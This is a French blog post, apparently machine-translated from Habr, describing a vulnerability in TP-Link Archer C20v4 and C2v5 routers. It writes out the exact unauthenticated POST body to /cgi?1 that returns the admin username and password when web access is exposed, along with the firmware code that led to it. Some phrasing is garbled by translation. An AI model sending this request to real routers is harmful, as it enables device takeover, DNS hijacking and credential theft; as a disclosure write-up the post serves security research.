Suivre le hack tp-link

Le piratage avec usurpation DNS est une méthode d'attaque assez courante. Principalement à cause de sa simplicité. L'essence de l'attaque consiste à remplacer l'adresse DNS dans les paramÚtres réseau de la victime par l'adresse du serveur DNS de l'attaquant afin de renvoyer une fausse adresse IP. Et plus loin, qui s'en soucie beaucoup - des pages de phishing banales des réseaux sociaux pour voler des mots de passe au talon supposé du fournisseur avec des exigences de paiement.

La chose la plus intéressante dans tout cela, je pense à la façon dont les bots, d'une maniÚre ou d'une autre, montent sur les routeurs. Et aujourd'hui, je vais parler de l'une de ces méthodes.

Qu'avons-nous:

  1. Nouveau routeur Archer c20v4, tout juste sorti de la boĂźte, avec le dernier firmware officiel.
  2. Adresse IP externe sur l'interface Wan et accĂšs Web ouvert.
  3. Un mot de passe est suffisamment complexe pour ne pas se soucier de sa sélection et d'un cercle restreint de personnes qui le connaissent.
  4. AprÚs une journée: usurpation d'identité DNS et toutes les demandes sont regroupées sur un talon.

Ce dont vous avez besoin:
Découvrez comment accéder à l'appareil.

Tout d'abord, sur un patient testé, tous les anciens bugs connus trouvés sur Google ont été testés. Bien sûr, rien n'a fonctionné.

Un script a été trouvé sur le github ( tyk ) qui vous permet d'exécuter à distance des commandes sur les modÚles C20i et C2 depuis la racine. Un peu pas ce dont nous avons besoin, mais fixons la bonne direction.

Toutes les fonctions ont le mĂȘme «shell» pour les requĂȘtes - ce sont des requĂȘtes POST pour url / cgi? 2 (et 7), " [setup_name # 0,0,0,0,0,0,0 # 0,0,0,0,0 , 0] "et un rĂ©fĂ©rent spĂ©cial.

TĂ©lĂ©chargez les codes sources de notre firmware sur le site officiel tp-link et dĂ©compressez-le. Parce que la gamme de routeurs est la mĂȘme, alors le logiciel devrait ĂȘtre au moins un peu similaire, non?

grep
grep -Hrn "/cgi?2" ---------------------------------------------- ../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true); 


Bingo Le nom du fichier indique qu'il sera plus intéressant encore. Nous trouvons dans le code une ligne dans laquelle nous avons vu le chéri "cgi? 2". Voici la fonction complÚte:

doSetUsrName
  function doSetUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { getUsrName(); } else return; }); xmlHttpObj.open("POST", "/cgi?2", true); xmlHttpObj.send(args); } 


Cette fonction, lorsqu'elle est exécutée, appelle un autre - getUsrName ().

Fonction de connexion:

getUsrName
  function getUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", ""); doSetPassword(); } else return; }); xmlHttpObj.open("POST", "/cgi?1", true); xmlHttpObj.send(args); } 


Mais ne faites rien avec la connexion. Nous sommes intéressés par un mot de passe. Nous savons que la connexion est stockée dans la variable adminName, à l'intérieur de l'objet USER_CFG. Une recherche dans la source a donné les résultats suivants: (je ne laisserai que le résultat souhaité)

Sortie Grep
 grep -Hrn USER_CFG ------------------------ sysfiles/config/en/common/reduced_data_model.xml 


Ouvrez réduite_data_model.xml et recherchez-y le fragment de code suivant:

XML
 <X_TP_UserCfg t=or=P s=USER_CFG_OBJ h=1 > <RootName t=sr=R l=16 al=cli h=1 /> <RootPwd t=sr=R l=16 al=cli h=1 /> <AdminName t=sr=W l=16 al=cli d=admin h=1 /> <AdminPwd t=sr=W l=16 al=cli d=admin h=1 /> <UserName t=sr=W l=16 al=cli h=1 /> <UserPwd t=sr=W l=16 al=cli h=1 /> </X_TP_UserCfg> 


Ici, nous avons stocké la variable déjà connue "AdminName" et à cÎté - AdminPwd. Sonne comme la vérité.

Il ne nous reste plus qu'Ă  former la bonne requĂȘte POST, Ă  laquelle nous devons rĂ©pondre avec les donnĂ©es nĂ©cessaires au routeur. Nous nous tournons Ă  nouveau vers le script du github et voyons comment cela se fait lĂ :

les données
 data = ( "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n" "dataBlockSize=64\r\n" "timeout=1\r\n" "numberOfRepetitions=1\r\n" "host=127.0.0.1\r\n" "X_TP_ConnName=ewan_ipoe_s\r\n" "diagnosticsState=Requested\r\n" ) 


Par analogie, nous formulons notre demande:

les données
 "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n" "adminName\r\n" "adminPwd\r\n" 


IIIiii envoyer. Dans Wireshark, le package ressemble Ă  ceci:

demande


Nous regardons la réponse:

la réponse


Un lecteur attentif remarquera que la requĂȘte POST a Ă©tĂ© envoyĂ©e Ă  "/ cgi? 1", et pas comme dans le script Ă  "/ cgi? 2". C'est vrai. Nous avons juste besoin de trouver le mot de passe. AprĂšs avoir reçu les donnĂ©es pour autorisation, vous pouvez dĂ©jĂ  vous engager dans une honte uniforme.

Connectez-vous:

GET request


Et nous sommes déjà autorisés à arnaquer toutes les données que nous considérons comme importantes uniquement en consultant le fichier réduite_data_model.xml:

demande


la réponse


demande


la réponse


Pour le moment, les codes source du routeur C20v4 ont été supprimés du site Web de Tp-Link et les codes V5 ont été publiés à la place. Mais malheureusement, il n'y a pas encore de firmware officiel.

La bonne nouvelle: cette vulnérabilité n'est exploitée que si l'accÚs Web est ouvert à tous.
La mauvaise nouvelle: les robots de quelqu'un frappent déjà sur des adresses externes avec les bonnes demandes.

En plus du modÚle ArcherC20V4 , le modÚle ArcherC2V5 est également affecté par cette vulnérabilité .

Source: https://habr.com/ru/post/fr419071/


All Articles